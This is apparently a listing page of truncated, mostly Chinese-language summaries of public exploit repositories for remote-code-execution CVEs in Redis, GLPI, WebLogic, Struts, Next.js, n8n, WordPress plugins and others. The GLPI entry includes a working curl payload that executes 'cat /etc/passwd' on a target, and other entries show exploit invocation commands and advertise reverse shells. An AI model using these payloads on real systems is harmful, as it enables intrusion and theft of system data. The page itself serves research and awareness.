CVE-2022-0543

CVE-2022-0543 适用于通过Lua沙盒逃逸漏洞进行Redis RCE的完整利用程序。基于 https://thesecmaster.com/how-to-fix-cve-2022-0543-a-critical-lua-sandbox-escape-vulnerability-in-redis/。 功能: 自动反向Shell -I + -P 单条命令执行 -x 基本Shell 默认 待办: 需要更好的检测机制以防止误报 免责声明: 此脚本用于审计系统安全性。请仅在您自己的系统或已获得书面授权利用的系统上使用此脚本。...

CVE-2021-42669

CVE-2021-42669 CVE-2021-42669 - 远程代码执行漏洞，通过工程师在线门户系统中的无限制文件上传实现。 技术描述： 工程师在线门户系统中存在无限制文件上传漏洞。攻击者可利用此漏洞在受影响的Web服务器上获得远程代码执行。 一旦上传头像，该头像将被上传到 /admin/uploads/ 目录，并且所有用户均可访问。 通过上传一个简单的PHP webshell，攻击者可以在Web服务器上获得远程代码执行。 受影响组件 - 漏洞页面 - teacheravatar.php CVE-2021-42669.py 用法 - root@kitploit: Upload a...

CVE-2022-35914

CVE-2022-35914 GLPI 10.0.2 中无需身份验证的远程代码执行 PoC root@kitploit: curl -s -d 'sid=foo&hhook=exec&text=cat /etc/passwd' -b 'sid=foo' http://HOST/vendor/htmlawed/htmlawed/htmLawedTest.php |egrep '\ \0-9+\ ='| sed -E 's/\ \0-9+\ =\ ./\1/'...

Oracle-WLS-Weblogic-RCE

Oracle-WLS-Weblogic-RCE CVE-2019-2725 Script de prueba RCE de Oracle WLSWeblogic RCE CVE-2019-2725 es una vulnerabilidad de deserialización en Oracle WebLogic Server. Esta vulnerabilidad de ejecución remota de código es explotable de forma remota sin autenticación. Este script que verifica la...

CVE-2022-22029-NFS-Server-

Windows 网络文件系统远程代码执行漏洞 CVE-2022-22039 要成功利用此漏洞，攻击者必须在一个竞争条件中获胜。向网络文件系统 NFS 服务发出未经身份验证的精心构造的调用，可用于在网络上远程利用此漏洞。 缓解措施是指一种默认状态下存在的设置、通用配置或最佳实践，可降低漏洞利用的严重性。以下缓解因素可能对您的情况有所帮助： 此漏洞在 NFSV4.1 中无法利用。在更新受此漏洞保护的 Windows 版本之前，您可以通过禁用 NFSV3 来缓解攻击。这可能会对您的生态系统产生不利影响，应仅作为临时缓解措施使用。 以下 PowerShell 命令将禁用 NFSV3：...

rpc-rce.py

rpc.py RCE 利用工具（CVE-2022-35411） 这是一个更新和改进的利用程序，针对 CVE-2022-35411 ，目标版本为 rpc.py 中易受攻击的版本（ 原始利用作者 ：Elias Hohl 增强者 ：x7331 针对可用性、可移植性和自动化进行了改进 漏洞概要 漏洞存在于 rpc.py 中对 Python pickle 模块的不安全使用，允许精心构造的有效载荷 无需认证 即可执行任意命令。 CVE ID ：CVE-2022-35411 受影响版本 ：rpc.py v0.4.2 – v0.6.0 利用类型 ：未认证远程代码执行（RCE） 变更内容 ✅ 切换到...

cve-2026-67363-67364

Balbooa Forms pre-auth RCE + Payment Tampering CVE-2026-67364 / CVE-2026-67363 PoC and detection templates for two pre-auth vulnerabilities in Balbooa Forms combaforms for Joomla, fixed in 2.4.3.2. CVE-2026-67364 — Pre-auth PHP Code Injection - RCE CVSS 9.8 CVE-2026-67363 — Pre-auth Payment Amoun...

CVE-2024-53677

CVE-2024-53677: Apache Struts 路径遍历导致远程代码执行漏洞 在 Apache Struts 中发现了一个严重的 CVE-2024-53677 安全漏洞，允许攻击者操纵文件上传参数，可能导致未经授权的路径遍历和远程代码执行（RCE）。 用法 安装 PIP 包： root@kitploit: python3 -m venv .venv source .venv/bin/activate pip install -r requirements.txt 然后，运行利用脚本，例如： root@kitploit: python3 exploit.py --url...

XSS2Shell-CVE-2026-64638

CVE-2026-64638 — XSS2Shell WordPress Pre-Auth Reflected XSS → Remote Code Execution Chain DOM Clobbering + Application Password Theft + REST API Plugin Activation = Full RCE ⚡ Overview CVE-2026-64638 is a critical pre-authentication Reflected XSS in WordPress wp-login.php. The vulnerability exist...

CVE-2018-9276

CVE-2018-9276 — PRTG Network Monitor ⚠️ 免责声明： 本工具仅用于教育目的和授权渗透测试。仅在你拥有或获得明确书面许可的系统上使用。未经授权的使用是非法的。 目录 概述 漏洞详情 工作原理 环境要求 安装 使用方法 示例 缓解措施 参考 概述 PRTG Network Monitor 是 Paessler AG 开发的一款网络监控工具。18.2.39 之前的版本存在通过通知功能实现的认证后命令注入漏洞，允许拥有有效凭据的攻击者以本地系统账户 （PRTG 默认服务账户）的身份实现远程代码执行（RCE） 。 该漏洞由 Josh Berry...

CVE-2024-29847

CVE-2024-29847 Ivanti Endpoint Manager AgentPortal में अविश्वसनीय डेटा डिसेरियलाइज़ेशन रिमोट कोड निष्पादन भेद्यता CVE-2024-29847 के लिए PoC इस भेद्यता का मूल कारण विश्लेषण मेरे ब्लॉग पर पाया जा सकता है: https://summoning.team/blog/ivanti-epm-CVE-2024-29847-deserialization-RCE/ उपयोग root@kitploit...

CVE-2019-19609

CVE-2019-19609 Strapi = 3.0.0-beta.17.8 ejecución remota de código autenticada...

CVE-2025-64087-SSTI-

CVE-2025-64087 SSTI FreeMarker 服务器端模板注入 SSTI 在 XDocReport 中通过 Apache FreeMarker 引擎实现远程代码执行 漏洞定义 漏洞概述 服务器端模板注入 SSTI 是一种 Web 安全漏洞，允许攻击者将恶意代码注入到由内容管理系统 CMS 和 Web 框架使用的模板中，以实现远程攻击、获取敏感信息或执行系统入侵活动。 SSTI 是注入漏洞（如 SQL 注入、XSS 等）的一种变体，攻击者利用模板系统远程部署恶意代码。当 SSTI...

CVE-2025-55182

CVE-2025-55182 Next.js RCE 利用工具 🚀 这是一个针对 Next.js React Server Components CVE-2025-55182 远程代码执行 RCE 漏洞的自动化概念验证 PoC 工具。 该工具集成了 交互式 Shell 、智能协议识别 以及 多线程批量扫描 功能，专为安全研究人员和渗透测试人员设计，旨在快速验证和利用该漏洞。 ⚠️ 免责声明 ：本工具仅供网络安全教育和已获得授权的安全测试使用。严禁将其用于任何未授权的攻击行为。使用者需自行承担因使用本工具而产生的所有法律责任。 ✨ 核心功能 交互式 Shell 模式...

CVE-2025-13486

CVE-2025-13486 exploit ACF Extended WordPress Plugin — Remote Code Execution & Privilege Escalation Exploit for the CVE-2025-13486 discovered by Marcin Dudek dudekmar ⚠️ Disclaimer This repository is provided for research and defensive security purposes only. The author assumes no responsibility...

CVE-2025-68613-Python-Exploit

CVE-2025-68613：n8n 工作流表达式远程代码执行漏洞 n8n 工作流自动化平台中一个严重远程代码执行漏洞的概念验证（PoC）利用程序。 描述 该漏洞存在于 n8n 表达式评估系统中。用户提供的表达式未经过适当的沙箱隔离，允许已认证的攻击者在主机系统上执行任意代码。 CVE ID： CVE-2025-68613 漏洞类型： 远程代码执行（RCE） 受影响组件： 表达式评估器 受影响版本 n8n = 0.211.0 n8n -u -p OPTIONS 参数...

react2shell-CVE-2025-55182

React2Shell 漏洞利用 CVE-2025-55182 用于 Next.js React 服务器组件 RCE 漏洞的 Python 利用工具，支持 HTTP/HTTPS。 🚀 快速开始 root@kitploit: 克隆并运行 git clone https://github.com/BrianLopezM99/react2shell-CVE-2025-55182.git cd react2shell-CVE-2025-55182 python3 exploitreact2shell.py "" 📖 使用方法 root@kitploit: HTTP python3...

CVE-2024-25082_CVE-2024-25081

⚠️ FontForge RCE — CVE-2024-25081 和 CVE-2024-25082 - 概念验证 📖 概述 针对 FontForge ≤ 20230101 （Splinefont 组件）中两个命令注入漏洞的概念验证利用。 CVE| 攻击向量| 触发方式 ---|---|--- CVE-2024-25081| 构造的文件名| 直接打开文件 CVE-2024-25082| 构造的存档文件名| TAR/ZIP/GZ/BZ2 解压 本 PoC 针对 CVE-2024-25082 —— FontForge 的自动存档解压功能未对文件名进行转义处理，直接传入 shell，从而允许嵌入...

cve-2025-48384-poc

PoC para CVE-2025-48384 Ver CVE-2025-48384 Para ejecutar: root@kitploit: git -c protocol.file.allow=always clone --recurse-submodules [email protected]:liamg/CVE-2025-48384.git Ejemplo de salida: root@kitploit: git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 test...

CVE-2024-53900

CVE-2024-53900 - Mongoose populate.match $where 远程代码执行（RCE） 本仓库提供了一个可复现的漏洞环境及针对 CVE-2024-53900 的概念验证（PoC），该漏洞是 Mongoose 8.8.3 中的一个严重远程代码执行（RCE）漏洞。 📌 漏洞详情 CVE : CVE-2024-53900 受影响的版本 : Mongoose 8.8.3 严重性 : 严重（CVSS 9.1） 攻击向量 : populate.match 与 $where 结合 影响 : 在 Node.js 环境中执行任意 JavaScript（RCE） 参考资料:...